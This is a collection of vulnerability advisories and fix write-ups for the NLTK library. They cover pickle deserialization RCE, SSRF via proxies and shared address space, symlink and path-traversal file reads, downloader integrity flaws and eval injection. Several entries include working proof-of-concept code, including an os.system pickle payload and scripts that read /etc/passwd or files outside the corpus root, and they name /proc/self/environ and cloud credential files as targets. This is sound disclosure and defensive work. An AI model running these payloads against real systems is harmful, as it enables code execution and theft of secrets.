+ tightened callers findclass now, before the allowlists: 1. Rejects any dotted name → closes 4489 with zero legit impact. 2. Denies dangerous modules (os, subprocess, sys, builtins, numpy.f2py, nltk.tokenize.repp, …) even under a broad allowedmodules — a defense-in-depth backstop so a future too-broad allowlist can't silently reopen RCE. 3. builtins denied wholesale; safe primitives (int, str, …) must be named exactly via allowedglobals.

Callers tightened: punkt drops the broad nltk.tokenize (keeps nltk.tokenize.punkt + exact collections.defaultdict/builtins.int); transitionparser keeps numpy/scipy/sklearn (array unpickling needs their submodules) with the new guards blocking the gadgets.

Full pickle-sink audit Every deserialization sink in the tree was reviewed: no raw pickle.load anywhere, and no joblib/numpy/torch/dill/yaml/marshal loaders. data.load + wordnetapp use RestrictedUnpickler (blocks all globals — safe); the remaining pickleload sites (chartparserapp, tbl/demo) load user-selected or self-written files and keep their warning.

Attack demonstration (captured; fork clone) === EXPLOITS blocked === 4489 sklearn.os.system (dotted) -> BLOCKED x99w numpy.f2py.crackfortran.myeval -> BLOCKED x99w nltk.tokenize.repp.execute -> BLOCKED backstop os.system (os allowlisted) -> BLOCKED backstop builtins.eval (exact global)-> BLOCKED === LEGIT loads still work === punkt round-trip via punktpickleload -> OK builtins.int (safe primitive) -> OK

Tests testpickleallowlistsecurity.py — added 5 regressions (dotted traversal, both namespace gadgets, denied-module backstop, legit round-trip). Suite: 122 passed / 9 skipped (sklearn-dependent) across pickle/punkt/transition/tokenize. pre-commit (black/isort/ruff) clean.

Summary

The NLTK library's TransitionParser.parse() method deserializes model files using pickleload() with the default restricted=False parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a RestrictedUnpickler class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.

Root Cause

File: nltk/parse/transitionparser.py (lines 542-557)

The parse() method calls pickleload(f) without restricted=True, routing through WarningUnpickler which inherits from pickle.Unpickler and does NOT override findclass(). This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., os.system, subprocess.Popen).

Vulnerability chain in nltk/picklesec.py:

python def pickleload(file, , context=None, restricted=False): if restricted: return RestrictedUnpickler(file).load() # Safe: blocks all globals return WarningUnpickler(file, context=context).load() # VULNERABLE PATH

WarningUnpickler only emits a warning but does NOT block unsafe class loading — it calls super().load() which is standard pickle.Unpickler.load().

Why this is not by design: - NLTK intentionally created RestrictedUnpickler to block unsafe deserialization - The restricted=True parameter exists in the API but is never used by any production code path - All call sites use the default restricted=False: transitionparser.py:557, parse/chartparserapp.py:816, parse/chartparserapp.py:2273, parse/chartparserapp.py:2311

Attack Surface

Entry point: TransitionParser().parse(depgraphs, modelFile) receives a filesystem path with no validation.

Exploitation path: 1. Attacker places a malicious pickle file at a known or attacker-controlled location 2. Victim calls parser.parse(sentences, "/path/to/maliciousmodel.pkl") 3. pickleload() deserializes the file with restricted=False (default) 4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges

Impact: Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.

Steps to Reproduce

Environment - NLTK version: 3.8.1+ (all versions with transitionparser.py) - Python 3.6+ - No special dependencies required

Reproduction

1. Create a malicious pickle file that uses reduce to execute a system command during deserialization.

2. Call TransitionParser().parse([], '/path/to/maliciousmodel.pkl').

3. The pickleload(f) call at transitionparser.py:557 uses restricted=False by default, routing through WarningUnpickler, which does not override findclass() and permits full class resolution — executing the embedded gadget.

4. Arbitrary code executes with the victim's privileges.

Proof That the Fix Works

Changing line 557 in transitionparser.py from: python model = pickleload(f) to: python model = pickleload(f, restricted=True) causes RestrictedUnpickler to raise an UnpicklingError and block execution, confirming the safe path prevents the attack.

Working PoC

python import pickle import os from nltk.parse.transitionparser import TransitionParser

Create malicious pickle with RCE payload class Exploit: def reduce(self): return (os.system, ('touch /tmp/nltkpoctriggered',))

with open('/tmp/maliciousmodel.pkl', 'wb') as f: pickle.dump(Exploit(), f)

Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4) parser = TransitionParser('arc-standard') # or 'arc-eager' parser.parse([], '/tmp/maliciousmodel.pkl') # loads and unpickles unsafely

Exploit succeeds: file /tmp/nltkpoctriggered is created

On NLTK ≥ 3.10.0 (patched), the same code fails with:

pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist

This proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.

Recommended Fix

Change all call sites to use restricted=True:

| File | Line | Before | After | |------|------|--------|-------| | nltk/parse/transitionparser.py | 557 | pickleload(f) | pickleload(f, restricted=True) | | nltk/parse/chartparserapp.py | 816 | pickleload(modeldatafile) | pickleload(modeldatafile, restricted=True) | | nltk/parse/chartparserapp.py | 2273 | pickleload(file) | pickleload(file, restricted=True) | | nltk/parse/chartparserapp.py | 2311 | pickleload(fp) | pickleload(fp, restricted=True) |

Note: This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in RestrictedUnpickler.findclass().

Summary

Current NLTK source reopens SSRF in proxied environments. pathsec.urlopen() validates the requested hostname locally, but once proxy inheritance is enabled the real fetch is performed by the proxy rather than by the validated direct-connect socket path.

Details

- Vulnerability type: Server-side request forgery - Affected component: nltk.pathsec.urlopen, nltk.data.load, nltk.downloader.Downloader.index, nltk.downloader.Downloader.download - Affected versions: Current source v3.10.0-rc2; published 3.9.4 was a negative control and did not reproduce. - Patched versions: Not yet patched - Root cause: Proxy-handler inheritance disables SafeHTTPHandler and SafeHTTPSHandler, so the validated hostname no longer matches the actual egress destination.

The hardened direct path pins the validated numeric destination IP before opening the socket. The proxied branch instead copies ProxyHandler instances from the global opener, marks the request as proxied, and skips the pinned handlers. I confirmed that a validated public URL can be fetched from a loopback-only internal service through the proxy path via pathsec.urlopen(), nltk.data.load(), Downloader.index(), and Downloader.download().

PoC

Preconditions - The runtime has an HTTP proxy configured and the caller relies on pathsec to keep network fetches SSRF-safe.

Steps 1. Start a loopback-only HTTP server that serves secret text, a valid downloader index, and a ZIP payload. 2. Configure a proxy that forwards a validated public URL to that internal loopback service. 3. Call pathsec.urlopen() or nltk.data.load() on the public URL and observe the internal response is returned. 4. Instantiate Downloader(serverindexurl=...), call index() and download(), and observe internal-only content is parsed and installed.

Minimal reproducible excerpt

text {'urlopen': 'PROXYTEXTSECRET', 'dataload': 'PROXYTEXTSECRET', 'downloadedfile': 'INTERNALZIPSECRET'}

Impact

Consumers that trust pathsec as an SSRF barrier in proxied environments can be made to read internal-only HTTP resources, load forged downloader indexes, and install attacker-chosen package content fetched from the proxy's network view.

Remediation

Preserve destination validation for the actual proxy egress target or fail closed when the request would otherwise downgrade into an unpinned proxied path. Add regression tests across pathsec.urlopen, nltk.data.load, and downloader fetches with a configured proxy.

References

- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/pathsec.py#L468-L518 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/data.py#L1247-L1283 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/downloader.py#L875-L889 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/downloader.py#L1220-L1226 - https://github.com/nltk/nltk/blob/3.9.4/nltk/pathsec.py#L245-L250

---

Fix + attack demonstration (verified)

NLTK cannot pin the egress through a proxy, so it stops pretending to: under ENFORCE a proxied fetch is refused rather than performed unvalidated. Operators who trust their proxy opt back in with NLTKALLOWPROXIEDURLOPEN=1 or nltk.pathsec.ALLOWPROXIEDFETCH=True; under ENFORCE=False the refusal degrades to a warning. This closes the whole class (environment proxies and explicit ProxyHandler alike), because NLTK declines any fetch whose egress it cannot validate.

Attack demonstration (reproduced; captured output) A loopback HTTP server stands in for the internal target; httpproxy points at it; NLTK is asked for a public IP URL.

Before the fix — the internal secret is exfiltrated through the proxy: validatenetworkurl(public): PASSED BYPASS: pathsec.urlopen returned INTERNAL content via proxy: 'INTERNALONLYSECRET'

After the fix — five scenarios, isolated subprocesses: | Scenario | Result | |---|---| | proxied (env) + ENFORCE | PermissionError — blocked | | proxied + opt-in | returns secret — escape hatch works | | explicit ProxyHandler (not env) + ENFORCE | PermissionError — blocked (whole class) | | no proxy (direct) | internal IP still refused — pinning intact | | proxied + ENFORCE=False | returns secret + warns |

Tests nltk/test/unit/testpathsec.py: 64 passed. Added an end-to-end regression (testproxiedfetchdoesnotreachinternaltarget) plus testenvproxyfailsclosedunderenforce; the prior testenvproxyskipspinninghandlers (which encoded the vulnerable path) is re-expressed as the opt-in case. Existing direct-path DNS-rebinding and IP-policy tests unchanged and passing. pre-commit (isort/black/ruff) clean.

Note The upfront validatenetworkurl() and the direct-path IP pinning (from the earlier DNS-rebinding fixes, CVE-2026-54296 / GHSA-qvv7) are unchanged — this only closes the proxied downgrade they didn't cover.

NLTK versions before 3.10.3 use xml.etree.ElementTree to parse XML in multiple modules, which honors entity declarations in document DTDs. Attackers can craft XML payloads with nested entity declarations that expand from hundreds of bytes to megabytes in memory, causing denial of service.

Summary nltk.corpus.reader.api.CorpusReader.open() can be used to read files outside the intended corpus root via a symlink placed inside that root. Although NLTK blocks absolute paths and .. traversal, the current boundary check is only lexical and does not account for symlink resolution. This leads to an arbitrary local file read / filesystem sandbox bypass for applications that rely on CorpusReader or FileSystemPathPointer to restrict file access.

Details The vulnerable flow is:

- nltk/corpus/reader/api.py:222 - CorpusReader.open() blocks absolute paths and .., then calls self.root.join(file).open()

- nltk/data.py:398 - FileSystemPathPointer.join() joins the requested file ID and checks whether the resulting path still appears to remain under the configured root

The problem is that the check is based on the lexical path after os.path.normpath(), not on the resolved path after following symlinks.

Current behavior:

1. CorpusReader.open() rejects: - absolute paths - .. path traversal 2. FileSystemPathPointer.join() computes: - joined = os.path.normpath(os.path.join(self.path, fileid)) - root = os.path.normpath(self.path) 3. It allows the access if joined starts with root

This misses the case where a path stays inside the root lexically, but resolves outside the root via a symlink already present under the allowed directory.

Example:

text JOINED=/tmp/nltk-root/link/secret.txt REALPATH=/tmp/outside/secret.txt

JOINED still appears to be inside the root, but REALPATH is outside it.

This is distinct from simple ../ traversal:

- the file ID is not absolute - the file ID does not contain .. - the escape only happens after filesystem resolution of a symlink under the allowed root

PoC Reproduced in an isolated Docker sandbox using the local nltk clone.

Minimal Python PoC:

python import os import tempfile from nltk.corpus.reader.api import CorpusReader

root = tempfile.mkdtemp(prefix="nltk-root-") outsidedir = tempfile.mkdtemp(prefix="nltk-out-") outsidefile = os.path.join(outsidedir, "secret.txt")

with open(outsidefile, "w") as f: f.write("secret-data")

os.symlink(outsidedir, os.path.join(root, "link"))

corpus = CorpusReader(root, ["link/secret.txt"]) with corpus.open("link/secret.txt") as f: print(f.read())

Observed result:

text secret-data

Docker re-test output:

text ROOT=/tmp/nltk-root-jjxay3if OUTSIDEDIR=/tmp/nltk-out-1kef36e0 JOINED=/tmp/nltk-root-jjxay3if/link/secret.txt REALPATH=/tmp/nltk-out-1kef36e0/secret.txt READOK=secret-data INSIDEROOT=True REALINSIDEROOT=False

Additional impact validation using a system file:

text ROOT=/tmp/nltk-root-h5x4m19 JOINED=/tmp/nltk-root-h5x4m19/hostfile REALPATH=/etc/hostname HOSTNAMEREAD=48dafb244af3 INSIDEROOT=True REALINSIDEROOT=False

This shows that the issue is not limited to attacker-created files outside the root; it can also read existing system files that are readable by the application user.

Impact This is an arbitrary local file read / symlink escape issue.

Who is impacted:

- applications that accept attacker-controlled corpus directories, extracted datasets, or package contents - applications that rely on NLTK corpus readers as a trust boundary for file access - any deployment where an attacker can place or influence files inside the allowed corpus root

Practical impact includes disclosure of:

- application secrets stored on disk - local configuration files - private datasets - process-exposed files such as /proc/self/environ - system files readable by the running user

The issue is best described as a filesystem sandbox bypass caused by improper link resolution before file access.

NLTK versions before 3.9.4 contain an unbounded recursion vulnerability in JSONTaggedDecoder.decodeobj() that allows attackers to cause denial of service by supplying deeply nested JSON structures. Attackers can craft JSON payloads exceeding the recursion limit to trigger an unhandled RecursionError that crashes the Python process.

Summary

There's a logic bug in FileSystemPathPointer.open() inside nltk/data.py that makes the sandbox check permanently inert. The guard condition is always False — meaning any file the process can read is accessible by passing a file:// URL to nltk.data.load().

---

Details

In nltk/data.py, FileSystemPathPointer.open() was patched at some point with a comment saying "SECURITY PATCH ENFORCING SANDBOX", but the check doesn't work: python def open(self, encoding=None): path = os.path.normpath(self.path)

# Block raw absolute reads such as "/" "C:\\Windows" etc. if os.path.isabs(path) and path != os.path.normpath(self.path): raise ValueError(f"Direct absolute file access blocked: {path}")

stream = open(self.path, "rb")

path is set to os.path.normpath(self.path) on line 1, then compared against os.path.normpath(self.path) again in the condition. They are always equal. The ValueError never fires.

On top of that, init already calls os.path.abspath() before storing self.path, so it's normalized before open() is even called. Running normpath on it again changes nothing.

The stream = open(self.path, "rb") line is always reached regardless of what path was passed in.

---

PoC

Tested on Python 3.11, NLTK 3.9.1, Ubuntu 22.04. python import nltk from nltk.data import FileSystemPathPointer

direct construction ptr = FileSystemPathPointer("/etc/passwd") with ptr.open() as f: print(f.read(300))

via load() using file:// URL data = nltk.data.load("file:///etc/passwd", format="raw") print(data[:300])

Both print file contents. No exception is raised.

---

Impact

Any app that lets users influence the string passed to nltk.data.load() or nltk.data.find() is exposed — web APIs, notebook servers, multi-tenant pipelines. An attacker can read any file the process user has access to: /etc/passwd, .env files, private keys, ~/.aws/credentials, etc.

Suggested Fix

File: nltk/data.py — FileSystemPathPointer.open() (lines 378–390)

What's wrong

Line 387 compares normpath(self.path) against itself — always equal, so the ValueError never fires. The check is dead code. init already calls abspath() on construction, so re-running normpath inside open() changes nothing either.

---

Fix

Validate against the actual list of permitted data directories instead: python def open(self, encoding=None): import nltk.data as d allowed = [os.path.abspath(p) for p in d.path if p] if allowed and not any( os.path.commonpath([self.path, r]) == r for r in allowed ): raise ValueError( f"Access outside nltkdata blocked: {self.path!r}" ) stream = open(self.path, "rb") if encoding is not None: stream = SeekableUnicodeStreamReader(stream, encoding) return stream

---

Why commonpath not startswith

startswith is bypassable by a path that shares a prefix: /tmp/nltkdataevil".startswith("/tmp/nltkdata") → True ✗ commonpath(["/tmp/nltkdataevil", "/tmp/nltkdata"]) → "/tmp" ✓

---

Diff diff - path = os.path.normpath(self.path) - if os.path.isabs(path) and path != os.path.normpath(self.path): - raise ValueError(f"Direct absolute file access blocked: {path}") - + import nltk.data as d + allowed = [os.path.abspath(p) for p in d.path if p] + if allowed and not any( + os.path.commonpath([self.path, r]) == r for r in allowed + ): + raise ValueError(f"Access outside nltkdata blocked: {self.path!r}") stream = open(self.path, "rb")

NLTK before 3.10.0 (affected versions <= 3.9.4) contains a server-side request forgery (SSRF) vulnerability in the validatenetworkurl() function in nltk/pathsec.py. The resolvehostname() helper catches OSError and ValueError during socket.getaddrinfo() and returns an empty list; when DNS resolution fails, the validation loop executes no IP checks and the function fails open, allowing urlopen() to proceed without validation. An attacker who can trigger DNS resolution failures or use DNS rebinding can bypass SSRF protections and reach restricted network resources, including cloud metadata endpoints (e.g., 169.254.169.254).

Summary Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validatepath() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.

Details nltk/pathsec.py:274 defines the enforcement point: python def open(file, mode="r", kwargs): validatepath(file, context="pathsec.open") return builtins.open(file, mode=mode, kwargs)

StreamBackedCorpusView.open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:

python line 171 — no validatepath() call self.eofpos = os.stat(self.fileid).stsize

line 208 — calls builtins.open directly self.stream = open(self.fileid, "rb")

Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.

PoC python pocserver.py — StreamBackedCorpusView pathsec.ENFORCE bypass from flask import Flask, request, jsonify import nltk.pathsec as ps from nltk.corpus.reader.util import StreamBackedCorpusView, readlineblock

Strict mode enabled — expected to sandbox all file access ps.ENFORCE = True

app = Flask(name)

@app.post("/read") def readfile(): fname = request.json.get("file") # fileid is user-controlled, passed directly to StreamBackedCorpusView # pathsec.ENFORCE = True is ignored — builtins.open() called internally view = StreamBackedCorpusView(fname, readlineblock, encoding="utf8") return jsonify({"file": fname, "content": view[0]})

app.run(host="0.0.0.0", port=8000) Trigger: curl -s -X POST http://localhost:8000/read \ -H "Content-Type: application/json" \ -d '{"file": "/etc/passwd"}' Confirmed on latest stable NLTK. No privileges required.

Impact - Type: Arbitrary Local File Read / Security Control Bypass - CWE: CWE-22, CWE-284 - OWASP: A01:2021 – Broken Access Control

Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWSSECRETACCESSKEY, DATABASEURL, etc.), and application config files.

The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.

Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validatepath().

NLTK before 3.9.3 fails to verify file integrity after downloading packages and before extraction in the downloader module. Attackers can perform man-in-the-middle attacks or DNS poisoning to inject malicious package contents that are extracted without validation.

NLTK versions before 3.10.0 default to ENFORCE=False in pathsec.py, causing all security validation functions to emit warnings instead of raising exceptions. Attackers can bypass path traversal and pickle deserialization protections by exploiting the disabled security controls that are only active when manually enabled.

Summary

Published nltk==3.9.4 still contains several XML-reader entrypoints that build parser paths from caller-controlled selectors or trusted-looking index state without preserving the corpus-root boundary.

Details

- Vulnerability type: Path traversal and trusted-root bypass - Affected component: FramenetCorpusReader.framebyname, FramenetCorpusReader.doc, FramenetCorpusReader.lu, NKJPCorpusReader.header - Affected versions: Published 3.9.4 reproduced. Current source v3.10.0-rc2 acted as a negative control and blocked the same payloads. - Patched versions: Patched in version 3.10.0, which includes the path-safety rejections seen in the release candidate. - Root cause: Stable reader paths still construct raw XML filenames from unsafe selectors, poisoned index state, or unsafe file identifiers.

I confirmed four public stable entrypoints return parsed outside-root content: a parent-segment traversal frame name, a poisoned fulltext index filename, a poisoned LU id, and an unsafe NKJP header file identifier. Current source rejects the same payloads with explicit path-safety errors, which shows the bug is real but version-scoped to the published stable package.

PoC

Preconditions - The application exposes FrameNet or NKJP reader APIs while trusting NLTK to keep XML parsing inside a corpus root.

Steps 1. Create a minimal FrameNet or NKJP corpus root and place attacker-chosen XML files outside that root. 2. Feed unsafe selectors or poisoned index state into the relevant public stable 3.9.4 APIs. 3. Observe framebyname, doc, lu(...).exemplars, or header return parsed outside-root values. 4. Run the same payloads against current source and observe explicit path-safety rejections.

Minimal reproducible excerpt

text framenetframedefinition FRAMELEAK framenetdoctext DOCLEAK framenetlutext LULEAK nkjpheadertitle HEADERLEAK

Impact

Applications that process attacker-influenced FrameNet or NKJP corpus selectors or state can be made to parse XML outside the trusted corpus root through normal public reader responses.

Remediation

Keep these reader paths on the same root-confinement model as CorpusReader.open() and nltk.pathsec. Reject unsafe path components before constructing filenames from frame names, document filenames, LU ids, or NKJP file identifiers.

Resources

- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1366-L1369 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1456-L1460 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1803-L1810 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/nkjp.py#L96-L103 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/nkjp.py#L251-L256 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/corpus/reader/framenet.py#L1388-L1399 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/corpus/reader/nkjp.py#L96-L128

NLTK versions before 3.10.2 contain a symlink-based sandbox bypass in FramenetCorpusReader that allows attackers to read arbitrary XML files outside the corpus root. Attackers can place symlinks with names containing no path separators inside the corpus subdirectory, which pass the path validation guard and are resolved to files outside the intended corpus root when accessed via framebyname(), lufile(), or doc() methods.

Summary

IPIPANCorpusReader (nltk/corpus/reader/ipipan.py) exposes public methods, channels(), domains(), categories(), and fileids(channels=...), that accept a caller supplied fileids list and read a file via a completely unprotected builtin open() call, with no nltk.pathsec involvement at all. A symlink placed inside the corpus root, with a name containing no separators or .., passes NLTK's existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access.

Root cause

All four methods route through gettag():

python def gettag(self, f, tag): tags = [] with open(f) as infile: # builtin open(), no pathsec involvement header = infile.read() ...

f arrives via listheaderfiles() / listmorphfilesby(), both of which call:

python f.replace("morph.xml", "header.xml")

on the result of self.abspath(...) or self.abspaths(...). FileSystemPathPointer subclasses str, so .replace() returns a plain Python string, silently discarding the PathPointer wrapper. That plain string is handed straight to builtin open().

This is a more severe variant of the same CWE-59 class already fixed elsewhere in this codebase (CorpusReader.open(), NKJPCorpusReader.addroot(), and the recent FramenetCorpusReader fix): those route file access through nltk.pathsec.validatepath(), at minimum the global, non-scoped check, before opening. Here, converting the PathPointer to a plain string before calling open() skips pathsec completely, not just the corpus-root-scoped check, so the symlink target does not even need to land under a registered nltk.data.path root.

Plain literal ../ traversal in the fileid is still blocked by FileSystemPathPointer.join(), so this is specifically the symlink variant, not a regression of the older, simpler traversal class.

Proof of concept

Constructed the normal, documented way, fileids as a regex over file paths, so the reader auto-discovers whatever .xml files exist in its root with no special knowledge of the planted symlink.

python import os import tempfile

from nltk.corpus.reader.ipipan import IPIPANCorpusReader

root = tempfile.mkdtemp() corpusroot = os.path.join(root, "ipipan") os.makedirs(corpusroot)

with open(os.path.join(corpusroot, "realmorph.xml"), "w") as f: f.write("<channel>legit</channel>")

secretdir = os.path.join(root, "outsideipipanroot") os.makedirs(secretdir) secretpath = os.path.join(secretdir, "stolen.xml") with open(secretpath, "w") as f: f.write("<channel>TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT</channel>")

os.symlink(secretpath, os.path.join(corpusroot, "evillink.xml"))

reader = IPIPANCorpusReader(corpusroot, r".\.xml") print("Auto-discovered fileids:", sorted(reader.fileids()))

result = reader.channels(fileids=["evillink.xml"]) print(result)

Actual output when run against current develop:

Auto-discovered fileids: ['evillink.xml', 'realmorph.xml'] ['TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT']

That content was read from secretpath, a file entirely outside corpusroot. No exception raised anywhere. The planted symlink even surfaces naturally in the reader's own fileids() listing, exactly as a real file would.

Verified separately that literal ../ traversal in the fileid is still rejected (ValueError: Traversal blocked), confirming this is specifically the symlink gap, not a broader regression.

Why this is in scope

- No malicious file for a victim to open, no special user interaction. Just a tampered or shared corpus directory (SECURITY.md names "shared environments... multi-tenant pipelines" as the project's own stated threat model) plus a completely normal API call. - Core corpus-reader code, reached through plain import nltk and documented, programmatic usage (words(), sents(), channels(), etc.), not a demo or GUI tool. - Same reader category, and same CWE-59 mechanism, already treated as CVE-worthy twice in this codebase for FramenetCorpusReader and NKJPCorpusReader. - Not a bypass of a claimed fix. ipipan.py has never had security hardening applied, and has no dedicated test coverage at all.

CVSS v3.1

- AV:L, AC:L: exploitation is local filesystem symlink placement, then immediate and deterministic once triggered. - PR:L: the attacker needs some pre-existing ability to plant a symlink somewhere reachable, not zero privilege, but not elevated either. - UI:N: fires during routine, automated corpus processing, no separate victim action. - S:U: stays within the same process's existing privileges. - C:H, I:N, A:N: arbitrary file read only, no write, no crash.

Suggested fix

Route gettag() through nltk.pathsec.validatepath() with the corpus root as requiredroot, or through CorpusReader.open(), instead of converting the PathPointer to a plain string and calling builtin open() directly. The same fix pattern already applied to FramenetCorpusReader and NKJPCorpusReader applies directly here.

NLTK 3.9.4 through 3.10.2 contains a path traversal vulnerability in CrubadanCorpusReader. loadlangngrams joins the corpus root with crubadancode, the column-0 value read from the corpus table.txt mapping file, and opens the result with the builtin open() rather than the pathsec-validated opener, so os.path.join discards the root when that value is absolute and the read escapes the corpus directory without the containment check nltk.pathsec applies when ENFORCE is set. An attacker who controls a corpus package can disclose file contents outside the corpus root through langfreq, limited to paths ending in -3grams.txt whose contents parse as token count lines.

A Server-Side Request Forgery (SSRF) vulnerability exists in nltk/nltk versions 3.9.4 and the current develop branch. The nltk.pathsec.validatenetworkurl() function, intended to prevent SSRF by rejecting internal network addresses, fails to reject IPs in the RFC 6598 shared address space (100.64.0.0/10). This occurs because Python's ipaddress module does not classify such addresses as isprivate or isglobal, and the current guard only checks isprivate and a few explicit categories. An attacker who can influence a URL passed to NLTK's network-loading helpers can exploit this vulnerability to make a strict-mode application send requests to shared-address-space hosts, potentially exposing non-public infrastructure reachable from the application host. The impact is limited to SSRF-style confidentiality exposure, with no code execution claimed.

A vulnerability in nltk.downloader in nltk/nltk versions <= 3.9.4 allows for cross-package resource and model poisoning. The downloader extracts package archives into shared namespaces such as corpora/ and taggers/ instead of package-isolated roots, and validates package integrity only after the archive has been written and extracted. This design flaw enables one package to overwrite another package's trusted resources within the same namespace, making the changes immediately active through ordinary NLTK APIs. This issue persists across fresh interpreter restarts and can affect downstream workflows, including machine learning pipelines and reproducibility-sensitive environments.

In nltk version 3.9.4, the nltk.downloader.Downloader.downloadpackage() function writes downloaded package bytes to disk and may extract them before enforcing SHA-256 or MD5 checksum validation. This allows an attacker to tamper with the package response body for info.url through a compromised mirror, malicious proxy, or other source-substitution condition, leading to the installation of attacker-controlled package bytes. The vulnerability can result in malicious corpus or model content being trusted by downstream users or applications.

NLTK (Natural Language Toolkit) before version 3.9.3 contains an eval injection vulnerability in the nltk.collocations module that allows an attacker who controls command-line arguments to execute arbitrary Python code. When collocations.py is invoked directly, the main block passes command-line arguments directly to eval() as suffixes of BigramAssocMeasures without allowlist validation or sanitization, enabling an attacker to supply a Python expression that escapes the intended attribute lookup and executes arbitrary code including OS commands via the os module.

In nltk/nltk versions 3.9.3 and earlier, five Stanford interface classes (StanfordPOSTagger, StanfordNERTagger, StanfordParser, StanfordDependencyParser, and StanfordNeuralDependencyParser) are vulnerable to untrusted JAR code execution. These classes accept user-controllable JAR paths and execute them via the java() function, which invokes subprocess.Popen() without integrity verification. This vulnerability is identical to CVE-2026-0848, which was fixed for StanfordSegmenter by adding SHA256 verification. However, the fix was not applied to these additional classes, leaving them susceptible to arbitrary code execution when loading untrusted JAR files.